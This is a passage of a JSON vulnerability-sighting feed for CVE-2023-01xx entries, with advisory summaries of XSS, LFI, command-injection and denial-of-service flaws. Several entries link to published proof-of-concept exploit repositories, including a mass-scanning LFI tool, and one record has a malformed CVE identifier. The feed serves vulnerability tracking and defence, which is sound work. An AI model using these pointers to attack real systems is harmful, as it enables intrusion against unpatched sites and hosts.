{"vulnerability": "2023-01", "sightings": [{"uuid": "3a3cdf31-7161-47c2-acd2-b71b8f9ed13d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "MISP/82bf8dd1-8125-4774-8bfc-0e7a3ac7a721", "content": "", "creation_timestamp": "2023-01-30T13:14:24.000000Z"}, {"uuid": "bf7825b8-ba15-4d50-bb26-067ba105295d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0163", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113549062152557037", "content": "", "creation_timestamp": "2024-11-26T11:39:48.134471Z"}, {"uuid": "2041adf8-8f17-497e-90b7-2f7e558e8d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lktltkjv732e", "content": "", "creation_timestamp": "2025-03-20T21:02:04.442819Z"}, {"uuid": "9bcdf1e3-cccb-4997-ac70-a03620c06356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwrsq2brtb2c", "content": "", "creation_timestamp": "2025-08-19T21:02:30.001583Z"}, {"uuid": "07d0cd22-56d9-4752-be19-d66d582ea613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-0160", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "7346f258-b56b-4f6f-acc0-eba0624964a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/cKure/12961", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Needle (CVE-2023-0179) exploit (PoC)\n\nhttps://github.com/TurtleARM/CVE-2023-0179-PoC", "creation_timestamp": "2024-05-23T21:57:31.000000Z"}, {"uuid": "6b403337-0de3-4e76-b460-b16b6dbafb37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-01795", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3952", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1a\u9488\u5bf9\uff08CVE-2023-0179\uff09\u6f0f\u6d1e\u5229\u7528  \u8be5\u6f0f\u6d1e\u88ab\u5206\u914d\u4e3aCVE-2023-0179\uff0c\u5f71\u54cd\u4e86\u4ece5.5\u52306.2-rc3\u7684\u6240\u6709Linux\u7248\u672c\uff0c\u5c3d\u7ba1\u8be5\u5229\u7528\u57286.1.6\u4e0a\u88ab\u6d4b\u8bd5\u3002  \u6f0f\u6d1e\u7684\u7ec6\u8282\u548c\u6587\u7ae0\u53ef\u4ee5\u5728os-security\u4e0a\u627e\u5230\u3002\nURL\uff1ahttps://github.com/H4K6/CVE-2023-0179-PoC\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-03-16T02:32:41.000000Z"}, {"uuid": "a55e82da-983d-407a-90fe-744f288cc0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3952", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1a\u9488\u5bf9\uff08CVE-2023-0179\uff09\u6f0f\u6d1e\u5229\u7528  \u8be5\u6f0f\u6d1e\u88ab\u5206\u914d\u4e3aCVE-2023-0179\uff0c\u5f71\u54cd\u4e86\u4ece5.5\u52306.2-rc3\u7684\u6240\u6709Linux\u7248\u672c\uff0c\u5c3d\u7ba1\u8be5\u5229\u7528\u57286.1.6\u4e0a\u88ab\u6d4b\u8bd5\u3002  \u6f0f\u6d1e\u7684\u7ec6\u8282\u548c\u6587\u7ae0\u53ef\u4ee5\u5728os-security\u4e0a\u627e\u5230\u3002\nURL\uff1ahttps://github.com/H4K6/CVE-2023-0179-PoC\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-03-16T02:32:41.000000Z"}, {"uuid": "d65749b9-702e-4859-a34f-a86d6e290f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5117", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aAutomatic Mass Tool for checking vulnerability in CVE-2023-0159 - Extensive VC Addons for WPBakery page builder &lt; 1.9.1 - Unauthenticated LFI\nURL\uff1ahttps://github.com/im-hanzou/EVCer\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-11T11:49:08.000000Z"}, {"uuid": "7fd330f9-7681-48aa-b474-2a165ed2a3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0157", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5192", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aRepository for CVE-2023-0157 vulnerability. \nURL\uff1ahttps://github.com/b0marek/CVE-2023-0157\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-24T08:26:43.000000Z"}, {"uuid": "8028781b-1a65-4192-8024-b65457edb635", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0156", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5191", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aRepository for CVE-2023-0156 vulnerability. \nURL\uff1ahttps://github.com/b0marek/CVE-2023-0156\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-24T08:19:01.000000Z"}, {"uuid": "0ffcfeaf-9274-4669-9f10-a92064035164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0121", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/501", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0121\n\ud83d\udd39 Description: A denial of service issue was discovered in GitLab CE/EE affecting all versions starting from 13.2.4 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2 which allows an attacker to cause high resource consumption using malicious test report artifacts.\n\ud83d\udccf Published: 2023-06-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T17:00:17.563Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/387549\n2. https://hackerone.com/reports/1774688\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0121.json", "creation_timestamp": "2025-01-07T17:42:56.000000Z"}, {"uuid": "20a361eb-30e7-4dc6-b503-b40031c9107a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0152", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/740", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0152\n\ud83d\udd39 Description: The WP Multi Store Locator WordPress plugin through 2.4 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-06-05T13:39:00.208Z\n\ud83d\udccf Modified: 2025-01-08T16:53:34.190Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/8281fce2-6f24-4d3f-895f-4d8694806609", "creation_timestamp": "2025-01-08T17:14:49.000000Z"}, {"uuid": "2e057dca-051a-46f1-856f-35ed5e69e23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0165", "type": "seen", "source": "Telegram/VVPpy0Myi1jUEUHJ54p0EoEHE6yPEENIZJU1IdMGr7tXLOwf", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "c2a5670b-54b1-4cc6-9a66-357cd55e952b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0167", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5584", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0167\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GetResponse for WordPress plugin through 5.5.31 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-03-20T15:52:17.698Z\n\ud83d\udccf Modified: 2025-02-26T19:04:20.927Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fafbf666-b908-48ef-9041-fea653e9bfeb", "creation_timestamp": "2025-02-26T19:24:16.000000Z"}, {"uuid": "64dca5c5-3987-466c-8026-1b3b48bab7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0172", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5719", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0172\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Juicer WordPress plugin before 1.11 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-03-13T16:03:33.143Z\n\ud83d\udccf Modified: 2025-02-27T15:56:34.947Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c8982b8d-985f-4a5d-840d-e8be7c3405bd", "creation_timestamp": "2025-02-27T16:26:17.000000Z"}, {"uuid": "8e189e22-1990-45b3-8a85-6ae969866746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0193", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6616", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0193\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L)\n\ud83d\udd39 Description: \nNVIDIA CUDA Toolkit SDK contains a vulnerability in cuobjdump, where a local user running the tool against a malicious binary may cause an out-of-bounds read, which may result in a limited denial of service and limited information disclosure.\n\n\n\ud83d\udccf Published: 2023-03-02T01:19:51.597Z\n\ud83d\udccf Modified: 2025-03-05T21:30:00.350Z\n\ud83d\udd17 References:\n1. https://nvidia.custhelp.com/app/answers/detail/a_id/5446", "creation_timestamp": "2025-03-05T21:34:50.000000Z"}, {"uuid": "9440f4d3-3b44-4b4c-9b98-ea59f587aa4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0165", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6691", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0165\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Cost Calculator WordPress plugin through 1.8 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-03-06T13:34:00.378Z\n\ud83d\udccf Modified: 2025-03-06T15:10:28.489Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/f00b82f7-d8ad-4f6b-b791-81cc16b6336b", "creation_timestamp": "2025-03-06T16:07:13.000000Z"}, {"uuid": "5f15b7f2-fc47-4595-a45a-350f9ec9b3b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0141", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8293", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0141\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insufficient policy enforcement in CORS in Google Chrome prior to 109.0.5414.74 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-20T20:57:24.667Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1362331\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-03-20T21:18:42.000000Z"}, {"uuid": "6c08fcd6-f68f-4cfc-9f77-7cd4459a562f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0131", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8303", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0131\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Inappropriate implementation in in iframe Sandbox in Google Chrome prior to 109.0.5414.74 allowed a remote attacker to bypass file download restrictions via a crafted HTML page. (Chromium security severity: Medium)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-20T20:50:30.045Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1357366\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-03-20T21:18:57.000000Z"}, {"uuid": "f4b8a349-1fd6-4324-a5b9-760e6fa64fd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0130", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8301", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0130\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Inappropriate implementation in in Fullscreen API in Google Chrome on Android prior to 109.0.5414.74 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-20T20:51:21.997Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1370028\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-03-20T21:18:52.000000Z"}, {"uuid": "458b9afa-c517-4c7a-88fe-e9aca1fc076f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0169", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8399", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0169\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Zoho Forms WordPress plugin before 3.0.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-13T14:32:11.933Z\n\ud83d\udccf Modified: 2025-03-21T18:03:11.629Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/178d71f2-4666-4f7e-ada5-cb72a50fd663", "creation_timestamp": "2025-03-21T18:20:01.000000Z"}, {"uuid": "480b25ac-b7dd-43e1-83d6-3bb10756f955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0147", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8768", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0147\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Flexible Captcha WordPress plugin through 4.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-02-06T19:59:41.302Z\n\ud83d\udccf Modified: 2025-03-25T19:57:39.690Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/af9cbb4a-42fc-43c5-88f3-349b417f1a6a", "creation_timestamp": "2025-03-25T20:24:38.000000Z"}, {"uuid": "cdef0152-9acf-4dc1-9439-a944b09832f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0148", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8727", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0148\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Gallery Factory Lite WordPress plugin through 2.0.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-06T19:59:22.291Z\n\ud83d\udccf Modified: 2025-03-25T18:12:10.418Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/f15f2f2c-2053-4b93-8064-15b5243a4021", "creation_timestamp": "2025-03-25T18:25:15.000000Z"}, {"uuid": "54a703f7-e2f8-49d1-ba19-28dfad82eff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0173", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8733", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0173\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Drag &amp; Drop Sales Funnel Builder for WordPress plugin before 2.6.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-06T19:59:32.104Z\n\ud83d\udccf Modified: 2025-03-25T18:10:37.107Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c543b6e2-a7c0-4ba7-a308-e9951dd59fb9", "creation_timestamp": "2025-03-25T18:25:24.000000Z"}, {"uuid": "0b217e8d-6ec9-4067-ab13-cc6c2160a895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0154", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8773", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0154\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GamiPress WordPress plugin before 1.0.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-06T19:59:11.729Z\n\ud83d\udccf Modified: 2025-03-25T20:46:10.158Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5e66e173-776d-4423-b4a2-eb7316b2502f", "creation_timestamp": "2025-03-25T21:25:17.000000Z"}, {"uuid": "521a8a24-d2f1-4f65-b4c3-a1079ae57572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0174", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8780", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0174\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP VR WordPress plugin before 8.2.7 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-06T19:59:14.952Z\n\ud83d\udccf Modified: 2025-03-25T20:42:58.406Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/6b53d0e6-def9-4907-bd2b-884b2afa52b3", "creation_timestamp": "2025-03-25T21:25:29.000000Z"}, {"uuid": "5c06a6f2-3e3c-46ba-8590-e2f9fda47d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0143", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8783", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0143\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Send PDF for Contact Form 7 WordPress plugin before 0.9.9.2 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-02-06T19:59:17.384Z\n\ud83d\udccf Modified: 2025-03-25T20:40:57.442Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c4cd3d98-9678-49cb-9d1a-551ef8a810b9", "creation_timestamp": "2025-03-25T21:25:32.000000Z"}, {"uuid": "d1fd1871-0ab9-428e-9a79-8bc190c488a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0164", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10318", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0164\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: OrangeScrum version 2.0.11 allows an authenticated external attacker to execute arbitrary commands on the server. This is possible because the application injects an attacker-controlled parameter into a system function.\n\ud83d\udccf Published: 2023-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T19:29:49.136Z\n\ud83d\udd17 References:\n1. https://fluidattacks.com/advisories/queen/\n2. https://github.com/Orangescrum/orangescrum", "creation_timestamp": "2025-04-03T19:35:26.000000Z"}, {"uuid": "97959f59-c728-48ee-8c2e-8f1fb7bcb939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0158", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10541", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0158\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: NLnet Labs Krill supports direct access to the RRDP repository content through its built-in web server at the \"/rrdp\" endpoint. Prior to 0.12.1 a direct query for any existing directory under \"/rrdp/\", rather than an RRDP file such as \"/rrdp/notification.xml\" as would be expected, causes Krill to crash. If the built-in \"/rrdp\" endpoint is exposed directly to the internet, then malicious remote parties can cause the publication server to crash. The repository content is not affected by this, but the availability of the server and repository can cause issues if this attack is persistent and is not mitigated.\n\ud83d\udccf Published: 2023-01-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T18:49:52.823Z\n\ud83d\udd17 References:\n1. https://www.nlnetlabs.nl/downloads/krill/CVE-2023-0158.txt", "creation_timestamp": "2025-04-04T19:36:55.000000Z"}, {"uuid": "58853197-34d3-4a19-820a-d84caba2eba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0122", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10540", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0122\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A NULL pointer dereference vulnerability in the Linux kernel NVMe functionality, in nvmet_setup_auth(), allows an attacker to perform a Pre-Auth Denial of Service (DoS) attack on a remote machine. Affected versions v6.0-rc1 to v6.0-rc3, fixed in v6.0-rc4.\n\ud83d\udccf Published: 2023-01-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T18:50:52.615Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=da0342a3aa0357795224e6283df86444e1117168\n2. http://www.openwall.com/lists/oss-security/2023/01/18/1\n3. https://security.netapp.com/advisory/ntap-20230302-0002/", "creation_timestamp": "2025-04-04T19:36:54.000000Z"}, {"uuid": "2229fb16-d433-4e79-916a-3d1a32f2632e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0112", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11099", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0112\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H)\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\ud83d\udccf Published: 2023-01-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T15:40:34.303Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/ec2a29dc-79a3-44bd-a58b-15f676934af6\n2. https://github.com/usememos/memos/commit/46c13a4b7f675b92d297df6dabb4441f13c7cd9c", "creation_timestamp": "2025-04-09T15:47:45.000000Z"}, {"uuid": "9ea0e6d0-aef8-4757-8f43-711606dd13b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0110", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11101", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0110\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\ud83d\udccf Published: 2023-01-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T15:39:42.209Z\n\ud83d\udd17 References:\n1. 